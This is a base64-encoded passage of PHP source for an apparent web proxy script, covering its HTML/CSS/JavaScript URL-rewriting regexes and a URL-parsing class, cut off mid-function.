c3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVB dHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0 YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxz cGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJD YXNlfHRvU291cmNlfHZhbHVlT2YpJzsKJGpzX3N0cmluZ19hdHRycz0nKD86Y29uc3RydWN0b3J8 bGVuZ3RofHByb3RvdHlwZSknOwoKIyB9fX0KCiMgUkVHRVhQUzogSkFWQVNDUklQVCBQQVJTSU5H IHt7ewoKJGpzX3JlZ2V4cF9hcnJheXM9YXJyYXkoCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHsk anN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KXskYW55c3BhY2V9XCs9L2kiLCdcMVwyLlwz PScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKSsnKSwKCWFycmF5KDEsMiwiL3skanNiZWdp bn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3Bh Y2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2Vu ZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyks CglhcnJheSgxLDIsIi97JGpzYmVnaW5yaWdodH0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRh dHRyc30pKFteXC49YS16MC05X1xbXF1cdFxyXG5dfFwueyRqc19zdHJpbmdfbWV0aG9kc31cKHxc LnskanNfc3RyaW5nX2F0dHJzfXskbm90anN2YXJzZWN0fSkvaSIsJ1wxJy5DT09LX1BSRUYuJy5n ZXRBdHRyKFwyLC9cMy8pXDQnKSwKCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9 eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJs KFwzKSknKSwKCWFycmF5KDEsMiwiLyhbXmEtejAtOV0pZXZhbHskYW55c3BhY2V9XCgoeyRhbnlz cGFjZX17JGpzdmFyb2JqfSlcKS9pIiwnXDFldmFsKCcuQ09PS19QUkVGLicucGFyc2VfYWxsX2h0 bWwoXDIsImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpKScpLAoKCWFycmF5KDEsMiwiL3skanNi ZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwK CS8vYXJyYXkoMSwyLCIveyRqc2JlZ2lufShcLnNldEF0dHJpYnV0ZXskYW55c3BhY2V9XCh7JGFu eXNwYWNlfShcInwnKSh7JGpzYXR0cnN9KShcXDIpeyRhbnlzcGFjZX0seyRhbnlzcGFjZX0pKC4q Pyl7JGpzZW5kfS9pIiwnXDFcMicuQ09PS19QUkVGLicuc3Vycm9nYWZ5X3VybChcNiknKSwKCS8v YXJyYXkoMSwyLCIveyRqc2JlZ2lufShcLnNldEF0dHJpYnV0ZXskYW55c3BhY2V9XCh7JGFueXNw YWNlfShcInwnKSh7JGpzYXR0cnN9KShcXDIpeyRhbnlzcGFjZX0seyRhbnlzcGFjZX0pKC4qPyl7 JGpzZW5kfS9pIiwnXDFcMicuQ09PS19QUkVGLicuc3Vycm9nYWZ5X3VybChcNiknKSwKCWFycmF5 KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwo eyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVv dGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0 KScpLAoJYXJyYXkoMSwyLCIveyRqc2JlZ2lufShbXlwgez5cdFxyXG49O10reyRhbnlzcGFjZX09 KSh7JGpzbmV3b2JqfXskeG1saHR0cHJlcX0pL2kiLCdcMVwyJy5DT09LX1BSRUYuJy5YTUxIdHRw UmVxdWVzdF93cmFwKFwzKScpLAoJYXJyYXkoMSwyLCIveyRqc2JlZ2lufShyZXR1cm57JHBsdXNz cGFjZX0pKHskanNuZXdvYmp9eyR4bWxodHRwcmVxfSkvaSIsJ1wxXDInLkNPT0tfUFJFRi4nLlhN TEh0dHBSZXF1ZXN0X3dyYXAoXDMpJyksCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNi ZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1c KFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycp Om51bGwpLAopOwoKIyB9fX0KCiMgUkVHRVhQUzogSFRNTC9DU1MgUEFSU0lORyB7e3sKCiRyZWdl eHBfYXJyYXlzPWFycmF5KAoJJ3RleHQvaHRtbCcgPT4gYXJyYXkoCgkJIyMgZG8gSFRNTCBiYXNl ZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZCgkJI2FycmF5KDEsMSwiLyggb25bYS16XXszLDIw fXskYW55c3BhY2V9PXskYW55c3BhY2V9KSg/OihcIikoW15cIl0rKShcIil8KCcpKFteJ10rKSgn KSkvaSIsJ1wxXDJcNTtcM1w2O1w0XDcnKSwgIyBPTERXQVkKCQkjYXJyYXkoMSwyLCIvKDxzY3Jp cHQoPzooPzooPyEgc3JjeyRhbnlzcGFjZX09KVtePl0pKik+KShbXHNcU10qPykoPzp7JGFueXNw YWNlfSg/OlwvXC8pP3skYW55c3BhY2V9LS0+eyRhbnlzcGFjZX0pPzxcL3NjcmlwdD4vaSIsJ1wx XDI7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOy8vLS0+PC9zY3JpcHQ+JyksICMgT0xEV0FZCgoJCSMg dGFyZ2V0IGF0dHIKCQkoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfUEFHRT9hcnJheSgx LDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSkgdGFyZ2V0eyRhbnlzcGFjZX09eyRhbnlzcGFj ZX0oPzp7JGZyYW1ldGFyZ2V0c318KCcpeyRmcmFtZXRhcmdldHN9J3woXCIpeyRmcmFtZXRhcmdl dHN9XCIpL2kiLCdcMScpOm51bGwpLAoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9D SElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNl fT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNP T0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwKCgkJIyBkZWFsIHdpdGggPGZvcm0+cwoJCWFycmF5 KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlz cGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48 aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1c MiAvPicpLAoJCWFycmF5KDIsMSwiLzxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIlwiIGNs YXNzPVwiIi5DT09LX1BSRUYuIlwiIHZhbHVleyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxy ZWd9IFwvPi9pIiwxLGZhbHNlKSwKCQlhcnJheSgxLDEsJy8oPGZvcm1bXj5dKj8pPi9pJywnXDEg dGFyZ2V0PSJfc2VsZiInLihFTkNSWVBUX1VSTFM/JyBvbnN1Ym1pdD0icmV0dXJuICcuQ09PS19Q UkVGLicuZm9ybV9lbmNyeXB0KHRoaXMpOyI+JzonPicpKSwKCQlhcnJheSgxLDEsIi8oPGZvcm17 JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJf cGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIg dmFsdWU9Il8iPicpLAoKCQkjIGRlYWwgd2l0aCB0aGUgZm9ybSBidXR0b24gZm9yIGVuY3J5cHRl ZCBVUkxzCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFu eXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1te XC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9i dXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLAoKCQkjIHBhcnNlIGFsbCB0aGUgb3RoZXIgdGFn cwoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlz cGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLAoJCWFycmF5KDIsMSwiLzxwYXJhbVte Pl0qeyRwbHVzc3BhY2V9bmFtZXskYW55c3BhY2V9PXskYW55c3BhY2V9W1wiJ10/bW92aWVbXj5d KnskcGx1c3NwYWNlfXZhbHVleyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEp LAoJCWFycmF5KDIsMiwiLzxzY3JpcHRbXj5dKj97JHBsdXNzcGFjZX1zcmN7JGFueXNwYWNlfT17 JGFueXNwYWNlfShbXCInXSl7JGFueXNwYWNlfSguKj9bXlxcXFxdKVxcMVtePl0qPnskYW55c3Bh Y2V9PFwvc2NyaXB0Pi9pIiwyKSwKCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwx LCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9 eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLAoJCShV UkxfRk9STSAmJiBQQUdFX0ZSQU1FRD9hcnJheSgyLDEsIi88W2ldP2ZyYW1leyRwbHVzc3BhY2V9 W14+XSpzcmN7JGFueXNwYWNlfT17JGFueXNwYWNlfXskaHRtbHJlZ30vaSIsMSxmYWxzZSxQQUdF VFlQRV9GUkFNRURfQ0hJTEQpOm51bGwpCgkpLAoKCSd0ZXh0L2NzcycgPT4gYXJyYXkoCgkJYXJy YXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8 JykoLio/W15cXFxcXSkoXFwxKXskYW55c3BhY2V9XCkvaSIsMiksCgkJYXJyYXkoMiwxLCIvW15h LXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4q P1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwKCQlhcnJheSgyLDEsIi9AaW1wb3J0eyRwbHVz c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpOy9pIiwy KQoJKSwKCgknYXBwbGljYXRpb24veC1qYXZhc2NyaXB0JyA9PiAkanNfcmVnZXhwX2FycmF5cywK CSd0ZXh0L2phdmFzY3JpcHQnID0+ICRqc19yZWdleHBfYXJyYXlzCik7CgojIH19fQoKIyBSRUdF WFBTOiBJTlNFUlQgSkFWQVNDUklQVCBSRUdFWFBTIHt7ewoKaWYoUVVFUllfU1RSSU5HPT0nanNf cmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3Jp cHQ+Cjw/cGhwIGVjaG8oY29udmVydGFycmF5X3RvX2phdmFzY3JpcHQoKS4oKCFlbXB0eSgkX0NP T0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cyddKSk/J3JlZ2V4cF9hcnJheXNbInRleHQv aHRtbCJdLnB1c2goQXJyYXkoMSwvPFtcXFxcL10/KGVtYmVkfHBhcmFtfG9iamVjdClbXj5dKj4v aWcsIiIpKTsnOm51bGwpKTsgPz4KLy88L3NjcmlwdD48P3BocCBleGl0KCk7IH0KCiMgfX19Cgoj IFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sKCmFycmF5X3B1c2goJHJlZ2V4 cF9hcnJheXNbJ3RleHQvaHRtbCddLAoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNl fWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0q IGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1 cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksCglh cnJheSgxLDEsIi8oPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17 JGFueXNwYWNlfShbXCInXXwpc2V0LWNvb2tpZVxcMltePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17 JGFueXNwYWNlfSkoW1wiJ10pKC4qP1teXFxcXF0peyRhbnlzcGFjZX1cXDMvaSIsJ1wxXDMnLlBB R0VDT09LX1BSRUZJWC4nXDRcMycpCik7CgojIH19fQoKIyBSRUdFWFBTOiBDTEVBTlVQIHt7ewoK IyBuZWVkZWQgbGF0ZXIsIGJ1dCAkYW55c3BhY2UgYW5kICRodG1scmVnIGFyZSB1bnNldCBiZWxv dwpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlz cGFjZX17JGh0bWxyZWd9W14+XSo+Iik7CmRlZmluZSgnRU5EX09GX1NDUklQVF9UQUcnLCIoPzp7 JGFueXNwYWNlfSg/OlwvXC8pP3skYW55c3BhY2V9LS0+eyRhbnlzcGFjZX0pPzxcL3NjcmlwdD4i KTsKZGVmaW5lKCdSRUdFWFBfU0NSSVBUX09ORVZFTlQnLCIoIG9uW2Etel17MywyMH09KD86XCJb XlwiXStcInwnW14nXSsnfFteXCInID5dW14gPl0rW15cIicgPl0pfCBocmVmPSg/OlwieyRhbnlz cGFjZX1qYXZhc2NyaXB0OlteXCJdK1wifCd7JGFueXNwYWNlfWphdmFzY3JpcHQ6W14nXSsnfHsk YW55c3BhY2V9amF2YXNjcmlwdDpbXlwiJyA+XVteID5dK1teXCInID5dKSkiKTsKCnVuc2V0KCRq c2F0dHJzLCRqc2hvb2thdHRycywkanNtZXRob2RzLCRqc2xvY2hvc3QsJGh0bWxhdHRycywKICAg ICAgJGFueXNwYWNlLCRwbHVzc3BhY2UsJG9wZXJhbmRzLCRub3RvcGVyYW5kcywKICAgICAgJHF1 b3Rlc2VnLCRyZWdzZWcsCiAgICAgICRqc3ZhcnNlY3QsJGpzb2Jqc2VjdCwkanN2YXJvYmosJGpz cXVvdGVzZWN0LCRqc3F1b3RlcmVnLAogICAgICAkbm90anN2YXJzZWN0LAogICAgICAkanNlbmQs JG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsCiAgICAgICRodG1sbm9xdW90LCRodG1s bm9xdW90bm9xbSwkaHRtbHJlZywkeG1saHR0cHJlcSwkanNuZXdvYmosJGZvcm1ub3Rwb3N0LCRm cmFtZXRhcmdldHMsCiAgICAgICRqc19zdHJpbmdfbWV0aG9kcywkanNfc3RyaW5nX2F0dHJzLAog ICAgICAkanNfcmVnZXhwX2FycmF5cwopOwoKIyB9fX0KCiMgfX19CgojIFBST1hZIEZVTkNUSU9O UyB7e3sKCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ewoKIyBjbGFzcyBmb3IgVVJM CmNsYXNzIGF1cmx7Cgl2YXIgJHVybCwkdG9wdXJsLCRsb2NrZWQ7Cgl2YXIgJHByb3RvLCR1c2Vy cGFzcywkc2VydmVybmFtZSwkcG9ydHZhbCwkcGF0aCwkZmlsZSwkcXVlcnksJGxhYmVsOwoKCWZ1 bmN0aW9uIGF1cmwoJHVybCwkdG9wdXJsPW51bGwpewoKCQlpZihzdHJsZW4oJHVybCk+TUFYSU1V TV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7CgkJZWxzZSAkdGhpcy0+dXJsPXByZWdfcmVw bGFjZSgnLyYjKFswLTldKyk7L2UnLCdjaHIoXDEpJyx0cmltKHN0cl9yZXBsYWNlKCcmYW1wOycs JyYnLHN0cl9yZXBsYWNlKGNocigxMyksbnVsbCxzdHJfcmVwbGFjZShjaHIoMTApLG51bGwsJHVy bCkpKSkpOwoJCSR0aGlzLT50b3B1cmw9JHRvcHVybDsKCgkJJHRoaXMtPmRldGVybWluZV9sb2Nr ZWQoKTsKCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47CgoJCSR1cmx3YXN2YWxpZD10cnVlOwoJ CWlmKCFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSl7CgkJCSR1cmx3YXN2YWxpZD1mYWxz ZTsKCQkJaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycuKCgkdGhp cy0+dXJsezB9PT0nOicgfHwgJHRoaXMtPnVybHswfT09Jy8nKT9zdWJzdHIoJHRoaXMtPnVybCwx KTokdGhpcy0+dXJsKS4oc3RycG9zKCR0aGlzLT51cmwsJy8nKSE9PWZhbHNlP251bGw6Jy8nKTsK CQkJI2lmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLnByZWdfcmVw bGFjZSgiL146P1wvezAsMn0vIiwiIiwkdGhpcy0+dXJsKS4oc3RycG9zKCR0aGlzLT51cmwsJy8n KSE9PWZhbHNlP251bGw6Jy8nKTsKCQkJZWxzZXsKCQkJCSRuZXd1cmw9JHRoaXMtPnRvcHVybC0+ Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT50b3B1cmwtPmdldF91c2Vy cGFzcygpKS4kdGhpcy0+dG9wdXJsLT5nZXRfc2VydmVybmFtZSgpLigoJHRoaXMtPnRvcHVybC0+ Z2V0X3BvcnR2YWwoKSE9ODAgJiYgKCR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpPT0naHR0cHMn PyR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTQ0Mzp0cnVlKSk/JzonLiR0aGlzLT50b3B1 cmwtPmdldF9wb3J0dmFsKCk6bnVsbCk7CgkJCQlpZigkdGhpcy0+dXJsezB9IT0nLycpICRuZXd1 cmwuPSR0aGlzLT50b3B1cmwtPmdldF9wYXRoKCk7CgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRo aXMtPnVybDsKCQkJfQoJCX0KCgkJJHRoaXMtPnNldF9wcm90bygoJHVybHdhc3ZhbGlkIHx8ICR0 aGlzLT50b3B1cmw9PW51bGw/cHJlZ19yZXBsYWNlKCcvXihbXjpcL10qKS4qJC8nLCdcMScsJHRo aXMtPnVybCk6JHRoaXMtPnRvcHVybC0+Z2V0X3Byb3RvKCkpKTsKCQkkdGhpcy0+c2V0X3VzZXJw YXNzKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wyJywkdGhpcy0+dXJsKSk7CgkJJHRoaXMtPnNldF9z ZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7CgkJJHRoaXMt PnNldF9wb3J0dmFsKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w0JywkdGhpcy0+dXJsKSk7CgkJJHRo aXMtPnNldF9wYXRoKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w1JywkdGhpcy0+dXJsKSk7CgkJJHRo aXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7CgkJJHRo aXMtPnNldF9xdWVyeShwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNycsJHRoaXMtPnVybCkpOwoJCSR0 aGlzLT5zZXRfbGFiZWwocHJlZ19yZXBsYWNlKFVSTFJFRywnXDgnLCR0aGlzLT51cmwpKTsKCgkJ aWYoISR0aGlzLT5sb2NrZWQgJiYgIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKSBoYXZv ayg3LCR0aGlzLT51cmwpOyAjKgoJfQoKCWZ1bmN0aW9uIGRldGVybWluZV9sb2NrZWQoKXsgJHRo aXMtPmxvY2tlZD1wcmVnX21hdGNoKEFVUkxfTE9DS19SRUdFWFAsJHRoaXMtPnVybCk+MDsgfSAj KgoKCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpewoJCSRmaWVsZHJlcXM9 YXJyYXkoMiA9PiAnOi8vJy4oJHZhbHVlIT1udWxsPyIkdmFsdWVAIjpudWxsKSwgNCA9PiAoJHZh bHVlIT1udWxsICYmIGludHZhbCgkdmFsdWUpIT04MD8nOicuaW50dmFsKCR2YWx1ZSk6bnVsbCks IDcgPT4gKCR2YWx1ZSE9bnVsbD8iPyR2YWx1ZSI6bnVsbCksIDggPT4gKCR2YWx1ZSE9bnVsbD8i IyR2YWx1ZSI6bnVsbCkpOwoJCWlmKCFhcnJheV9rZXlfZXhpc3RzKCRmaWVsZG5vLCRmaWVsZHJl cXMpKSByZXR1cm4gKGVtcHR5KCR2YWx1ZSk/bnVsbDokdmFsdWUpOwoJCWVsc2UgcmV0dXJuICRm aWVsZHJlcXNbJGZpZWxkbm9dOwoJfQoKCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBp ZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHBy b3RvOidodHRwJyk7IH0KCWZ1bmN0aW9uIGdldF9wcm90bygpeyByZXR1cm4gJHRoaXMtPnByb3Rv OyB9CglmdW5jdGlvbiBnZXRfdXNlcnBhc3MoKXsgcmV0dXJuICR0aGlzLT51c2VycGFzczsgfQoJ ZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1 c2VycGFzczsgfQoJZnVuY3Rpb24gZ2V0X3NlcnZlcm5hbWUoKXsgcmV0dXJuICR0aGlzLT5zZXJ2 ZXJuYW1lOyB9CglmdW5jdGlvbiBzZXRfc2VydmVybmFtZSgkc2VydmVybmFtZT1udWxsKXsgJHRo aXMtPnNlcnZlcm5hbWU9JHNlcnZlcm5hbWU7IH0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJl dHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/ JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9CglmdW5jdGlvbiBzZXRfcG9ydHZhbCgkcG9y dD1udWxsKXsgJHRoaXMtPnBvcnR2YWw9c3RydmFsKChpbnR2YWwoJHBvcnQpIT04MCk/JHBvcnQ6 bnVsbCk7IH0KCWZ1bmN0aW9uIGdldF9wYXRoKCl7CgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcv Li4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAs MX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7CgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcv Li8nKSE9PWZhbHNlKSB3aGlsZSgoJHBhdGg9c3RyX3JlcGxhY2UoJy8uLycsJy8nLCR0aGlzLT5w YXRoKSkgJiYgJHBhdGghPSR0aGlzLT5wYXRoKSAkdGhpcy0+cGF0aD0kcGF0aDsKCQlyZXR1cm4g JHRoaXMtPnBhdGg7Cgl9CglmdW5jdGlvbiBzZXRfcGF0aCgkcGF0aD1udWxsKXsgJHRoaXMtPnBh dGg9KGVtcHR5KCRwYXRoKT8nLyc6JHBhdGgpOyB9CglmdW5jdGlvbiBnZXRfZmlsZSgpeyByZXR1 cm4gJHRoaXMtPmZpbGU7IH0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ ZmlsZT0kZmlsZTsgfQoJZnVuY3Rpb24gZ2V0X3F1ZXJ5KCl7IHJldHVybiAkdGhpcy0+cXVlcnk7 IH0KCWZ1bmN0aW9uIHNldF9xdWVyeSgkcXVlcnk9bnVsbCl7ICR0aGlzLT5xdWVyeT0kcXVlcnk7 IH0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9CglmdW5jdGlv biBzZXRfbGFiZWwoJGxhYmVsPW51bGwpeyAkdGhpcy0+bGFiZWw9JGxhYmVsOyB9CgoJZnVuY3Rp b24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpewoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybiAk dGhpcy0+dXJsOwoJCXJldHVybiAkdGhpcy0+Z2V0X3Byb3RvKCkuJzovLycuCgkJICAgICAgICgk dGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0An KS4KCQkgICAgICAgJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuCgkJICAgICAgICgoJHRoaXMtPmdl dF9wcm90bygpPT0naHR0cHMnICYmIGludHZhbCgkdGhpcy0+Z2V0X3BvcnR2YWwoKSk9PTQ0Mykg fHwgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09ODA/bnVsbDonOicuaW50dmFsKCR0aGlz LT5nZXRfcG9ydHZhbCgpKSkuCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRf ZmlsZSgpLgoJCSAgICAgICAoJHRoaXMtPmdldF9xdWVyeSgpPT1udWxsP251bGw6Jz8nLiR0aGlz LT5nZXRfcXVlcnkoKSkuCgkJICAgICAgICgkd2l0aGxhYmVsICYmICR0aGlzLT5nZXRfbGFiZWwo KT09bnVsbD9udWxsOicjJy4kdGhpcy0+Z2V0X2xhYmVsKCkpCgkJOwoJfQoKCWZ1bmN0aW9uIHN1 cnJvZ2FmeSgpewoJCSRsYWJlbD0kdGhpcy0+Z2V0X2xhYmVsKCk7CgkJJHRoaXMtPnNldF9sYWJl bCgpOwoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsKCQkkdGhpcy0+c2V0X2xhYmVsKCRsYWJlbCk7 CgoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOwoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVy biAkdXJsOwoJCSMgfHwgJHRoaXMtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwk dGhpcy0+Z2V0X3VzZXJwYXNzKCkpLiR0aGlzLT5nZXRfc2VydmVybmFtZSgpLiR0aGlzLT5nZXRf cGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpPT1USElTX1NDUklQVCkgcmV0dXJuICR1cmw7CgoJCWlm KEVOQ1JZUFRfVVJMUyAmJiAhJHRoaXMtPmxvY2tlZCkgJHVybD1wcm94ZW5jKCR1cmwpOwoJCSMk dXJsPVRISVNfU0NSSVBULic/PScuKCFFTkNSWVBUX1VSTFM/dXJsZW5jb2RlKCR1cmwpOiR1cmwp LighZW1wdHkoJGxhYmVsKT8iIyRsYWJlbCI6bnVsbCk7ICMgdXJsZW5jb2RlZAoJCSR1cmw9VEhJ U19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOwoJCXJl dHVybiAkdXJsOwoJfQp9IAoKIyB9fX0KCiMgUFJPWFkgRlVOQ1RJT05TOiBVUkwgUEFSU0lORyB7 e3sKZnVuY3Rpb24gc3Vycm9nYWZ5X3VybCgkdXJsLCR0b3B1cmw9ZmFsc2UsJGFkZHByb3h5PXRy dWUpewoJZ2xvYmFsICRjdXJyX3VybG9iajsKCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipc MSQvaXMnLCR1cmwpPjApewoJaWYoKCR1cmx7MH09PSciJyAmJiBzdWJzdHIoJHVybCwtMSk9PSci JykgfHwgKCR1cmx7MH09PSdcJycgJiYgc3Vic3RyKCR1cmwsLTEpPT0nXCcnKSl7CgkJJHVybHF1 